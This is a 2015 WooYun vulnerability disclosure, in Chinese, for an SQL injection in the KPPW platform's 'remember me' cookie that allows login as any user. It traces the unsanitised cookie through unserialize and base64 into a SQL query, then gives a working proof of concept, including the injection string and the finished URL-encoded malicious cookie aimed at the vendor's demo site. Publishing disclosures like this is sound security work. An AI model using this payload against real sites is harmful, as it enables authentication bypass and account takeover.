漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0131525
漏洞标题:kppw最新版任意用户登录
相关厂商:keke.com
漏洞作者: 路人甲
提交时间:2015-08-04 18:41
修复时间:2015-11-03 20:04
公开时间:2015-11-03 20:04
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-08-04: 细节已通知厂商并且等待厂商处理中
2015-08-05: 厂商已经确认,细节仅向厂商公开
2015-08-08: 细节向第三方安全合作伙伴开放
2015-09-29: 细节向核心白帽子及相关领域专家公开
2015-10-09: 细节向普通白帽子公开
2015-10-19: 细节向实习白帽子公开
2015-11-03: 细节向公众公开
简要描述:
只需要用户名和用户id即可实现任意用户登录
详细说明:
问题出在 lib/inc/keke_core_class.php function init_user() 第981行
$uInfo = kekezu::get_table_data ( '*', 'witkey_space', " username='$pwdInfo[2]' and password = '$pwdInfo[1]'", '', '' );
此处两个变量都来自$pwdInfo
$pwdInfo = explode ( '|', base64_decode ( $loginInfo [2] ) );
继续跟进
$loginInfo = unserialize ( $_COOKIE ['keke_auto_login'] );
全程无安全处理,现在来看看$_COOKIE['keke_auto_login']的格式
正常情况下在登录处勾选记住我
即autoLogin=1
就会生成$_COOKIE['keke_auto_login'],格式如下:
keke_auto_login=a%3A3%3A%7Bi%3A0%3Bs%3A4%3A%22MTA%3D%22%3Bi%3A1%3Bs%3A8%3A%22cXdlcnR5%22%3Bi%3A2%3Bs%3A56%3A%22MTB8ZDg1NzhlZGY4NDU4Y2UwNmZiYzViYjc2YTU4YzVjYTR8cXdlcnR5%22%3B%7D
unserialize后为
array (size=3)
0 => string 'MTA=' (length=4)
1 => string 'cXdlcnR5' (length=8)
2 => string 'MTB8ZDg1NzhlZGY4NDU4Y2UwNmZiYzViYjc2YTU4YzVjYTR8cXdlcnR5' (length=56)
将MTB8ZDg1NzhlZGY4NDU4Y2UwNmZiYzViYjc2YTU4YzVjYTR8cXdlcnR5进行base64解码得
10|d8578edf8458ce06fbc5bb76a58c5ca4|qwerty
即uid,md5后的password,用户名
此处并没有做任何判断
拿官网demo演示
首先如上取字符串,替换id,和用户名
1|d8578edf8458ce06fbc5bb76a58c5ca4|admin' and 1=1 or '1'='1
base64编码
MXxkODU3OGVkZjg0NThjZTA2ZmJjNWJiNzZhNThjNWNhNHxhZG1pbicgYW5kIDE9MSBvciAnMSc9JzE=
再填充进序列化后的数组
array (size=3)
0 => string 'MTA=' (length=4)
1 => string 'cXdlcnR5' (length=8)
2 => string 'MXxkODU3OGVkZjg0NThjZTA2ZmJjNWJiNzZhNThjNWNhNHxhZG1pbicgYW5kIDE9MSBvciAnMSc9JzE=’ (length=80)
进行url编码后得
keke_auto_login=a%3A3%3A%7Bi%3A0%3Bs%3A4%3A%22MTA%3D%22%3Bi%3A1%3Bs%3A8%3A%22cXdlcnR5%22%3Bi%3A2%3Bs%3A80%3A%22MXxkODU3OGVkZjg0NThjZTA2ZmJjNWJiNzZhNThjNWNhNHxhZG1pbicgYW5kIDE9MSBvciAnMSc9JzE=%22%3B%7D
将其加入cookies直接请求http://demo.kppw.cn/index.php?do=login
漏洞证明:
如上。。。。
修复方案:
验证传入参数。。。
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:16
确认时间:2015-08-05 20:02
厂商回复:
谢谢提供有价值漏洞
最新状态:
暂无